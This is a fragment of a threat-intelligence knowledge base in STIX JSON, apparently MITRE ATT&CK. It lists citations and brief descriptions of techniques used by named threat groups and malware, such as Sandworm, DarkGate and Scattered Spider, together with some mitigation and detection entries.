                    "url": "https://unit42.paloaltonetworks.com/ransomware-in-public-clouds/"
                },
                {
                    "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
                    "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
                },
                {
                    "source_name": "Ready.gov IT DRP",
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.",
                    "url": "https://www.ready.gov/business/implementation/IT"
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            "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery. In cloud environments, enable versioning on storage objects where possible, and copy backups to other accounts or regions to isolate them from the original copies.(Citation: Unit 42 Palo Alto Ransomware in Public Clouds 2022) On ESXi servers, ensure that disk images and snapshots of virtual machines are regularly taken, with copies stored off system.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "description": "Monitor for any new items written to the Registry or PE files written to disk. That may correlate with extension installation. ",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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                {
                    "source_name": "Unit42 Emissary Panda May 2019",
                    "description": "Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/"
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            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has exploited MS17-010 to move laterally to other systems on the network.(Citation: Unit42 Emissary Panda May 2019)\t",
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            "revoked": false,
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                {
                    "source_name": "mandiant_apt44_unearthing_sandworm",
                    "description": "Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.",
                    "url": "https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf"
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            "modified": "2025-04-16T22:59:07.422Z",
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) staged compromised versions of legitimate software installers on forums to achieve initial, untargetetd access in victim environments.(Citation: mandiant_apt44_unearthing_sandworm) ",
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            "description": "Ensure that local administrator accounts have complex, unique passwords across all systems on the network.",
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            "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485",
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                {
                    "source_name": "Mandiant Cutting Edge January 2024",
                    "description": "McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
                },
                {
                    "source_name": "Volexity Ivanti Zero-Day Exploitation January 2024",
                    "description": "Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.",
                    "url": "https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"
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            ],
            "modified": "2025-04-16T22:59:07.820Z",
            "description": "[WIREFIRE](https://attack.mitre.org/software/S1115) can modify the `visits.py` component of Ivanti Connect Secure VPNs for file download and arbitrary command execution.(Citation: Mandiant Cutting Edge January 2024)(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)",
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            "source_ref": "malware--c93e3079-43fb-4d8d-9e99-db63d07eadc9",
            "target_ref": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5",
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        {
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            "id": "relationship--f9fb0958-7f80-4bd5-80c2-9665124f1d0e",
            "created": "2019-04-23T16:12:37.629Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "GitHub PoshC2",
                    "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.",
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            "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains a module for taking packet captures on compromised hosts.(Citation: GitHub PoshC2)",
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                    "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021.",
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                    "description": "Nutland, J. and Szeliga, M. (2024, October 21). Akira ransomware continues to evolve. Retrieved December 10, 2024.",
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                    "description": "Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.",
                    "url": "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"
                },
                {
                    "source_name": "Rapid7 BlackBasta 2024",
                    "description": "McGraw, T. (2024, December 4). Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware. Retrieved December 9, 2024.",
                    "url": "https://www.rapid7.com/blog/post/2024/12/04/black-basta-ransomware-campaign-drops-zbot-darkgate-and-custom-malware/"
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            "description": "[DarkGate](https://attack.mitre.org/software/S1111) leverages process hollowing techniques to evade detection, such as decrypting the content of an encrypted PE file and injecting it into the process vbc.exe.(Citation: Ensilo Darkgate 2018)(Citation: Rapid7 BlackBasta 2024)",
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            "spec_version": "2.1",
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                {
                    "source_name": "Mandiant APT29 Eye Spy Email Nov 22",
                    "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"
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                    "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"
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                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
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            "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has also obfuscated its C2 traffic as normal traffic to sites such as Github.(Citation: FireEye APT17)(Citation: FireEye Periscope March 2018)",
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                {
                    "source_name": "GitHub SILENTTRINITY Modules July 2019",
                    "description": "Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022.",
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            "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) can search for modifiable services that could be used for privilege escalation.(Citation: GitHub SILENTTRINITY Modules July 2019)",
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                {
                    "source_name": "FBI FLASH APT39 September 2020",
                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020.",
                    "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf"
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            "description": "[APT39](https://attack.mitre.org/groups/G0087) has utilized malicious VBS scripts in malware.(Citation: FBI FLASH APT39 September 2020)",
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            "external_references": [
                {
                    "source_name": "CISA Scattered Spider Advisory November 2023",
                    "description": "CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.",
                    "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"
                },
                {
                    "source_name": "MSTIC Octo Tempest Operations October 2023",
                    "description": "Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"
                },
                {
                    "source_name": "Crowdstrike TELCO BPO Campaign December 2022",
                    "description": "Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.",
                    "url": "https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"
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            "modified": "2025-04-16T23:00:04.442Z",
            "description": "During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) impersonated legitimate IT personnel in phone calls and text messages either to direct victims to a credential harvesting site or getting victims to run commercial remote monitoring and management (RMM) tools.(Citation: Crowdstrike TELCO BPO Campaign December 2022)\n\n[Scattered Spider](https://attack.mitre.org/groups/G1015) utilized social engineering to compel IT help desk personnel to reset passwords and MFA tokens.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: MSTIC Octo Tempest Operations October 2023)",
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                    "description": "Park, S. (2024, June 27). Kimsuky deploys TRANSLATEXT to target South Korean academia. Retrieved October 14, 2024.",
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                    "source_name": "FireEye Obfuscation June 2017",
                    "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
                    "url": "https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"
                },
                {
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"
                },
                {
                    "source_name": "Bitdefender FIN8 July 2021",
                    "description": "Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021.",
                    "url": "https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation"
                },
                {
                    "source_name": "Symantec FIN8 Jul 2023",
                    "description": "Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"
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                    "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html"
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            "description": "[APT19](https://attack.mitre.org/groups/G0073) used Base64 to obfuscate executed commands.(Citation: FireEye APT19)",
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                    "url": "https://cloud.google.com/logging/docs/audit#admin-activity"
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                    "description": "Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.",
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                    "description": "CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020.",
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                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
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                    "description": "BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. Retrieved February 2, 2022.",
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                    "description": "DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.",
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                    "description": "CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.",
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            "description": "During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors used a compromised Exchange account to search mailboxes and create new Exchange accounts.(Citation: CISA Iran Albanian Attacks September 2022)",
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                {
                    "source_name": "Microsoft AMSI June 2015",
                    "description": "Microsoft. (2015, June 9). Windows 10 to offer application developers new malware defenses. Retrieved February 12, 2018.",
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            "revoked": false,
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                },
                {
                    "source_name": "FireEye APT41 Aug 2019",
                    "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.",
                    "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"
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            "description": "[APT41](https://attack.mitre.org/groups/G0096) has used search order hijacking to execute malicious payloads, such as [Winnti for Windows](https://attack.mitre.org/software/S0141).(Citation: Crowdstrike GTR2020 Mar 2020) [APT41](https://attack.mitre.org/groups/G0096) has also used legitimate executables to perform DLL side-loading of their malware.(Citation: FireEye APT41 Aug 2019) ",
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                    "source_name": "Talos Rocke August 2018",
                    "description": "Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020.",
                    "url": "https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html"
                },
                {
                    "source_name": "Unit 42 Rocke January 2019",
                    "description": "Xingyu, J.. (2019, January 17). Malware Used by Rocke Group Evolves to Evade Detection by Cloud Security Products. Retrieved May 26, 2020.",
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                    "source_name": "Cybereason StealBit Exfiltration Tool",
                    "description": "Cybereason Global SOC Team. (n.d.). THREAT ANALYSIS REPORT: Inside the LockBit Arsenal - The StealBit Exfiltration Tool. Retrieved January 29, 2025.",
                    "url": "https://www.cybereason.com/blog/research/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool"
                },
                {
                    "source_name": "FBI Lockbit 2.0 FEB 2022",
                    "description": "FBI. (2022, February 4). Indicators of Compromise Associated with LockBit 2.0 Ransomware. Retrieved January 24, 2025.",
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            "description": "[StealBit](https://attack.mitre.org/software/S1200) can be configured to exfiltrate specific file types.(Citation: FBI Lockbit 2.0 FEB 2022)(Citation: Cybereason StealBit Exfiltration Tool)",
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                    "description": "Ernesto Fern\u00e1ndez Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.",
                    "url": "https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"
                },
                {
                    "source_name": "Rapid7 BlackBasta 2024",
                    "description": "McGraw, T. (2024, December 4). Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware. Retrieved December 9, 2024.",
                    "url": "https://www.rapid7.com/blog/post/2024/12/04/black-basta-ransomware-campaign-drops-zbot-darkgate-and-custom-malware/"
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            "description": "[DarkGate](https://attack.mitre.org/software/S1111) uses a malicious Windows Batch script to run the Windows <code>code</code> utility to retrieve follow-on script payloads.(Citation: Trellix Darkgate 2023) [DarkGate](https://attack.mitre.org/software/S1111) has also used `cmd.exe` to create a remote shell.(Citation: Rapid7 BlackBasta 2024) ",
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                    "description": "Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.",
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                    "description": "BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. Retrieved February 2, 2022.",
                    "url": "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319"
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            "description": "[Lizar](https://attack.mitre.org/software/S0681) has a plugin to retrieve information about all active network sessions on the infected server.(Citation: BiZone Lizar May 2021)",
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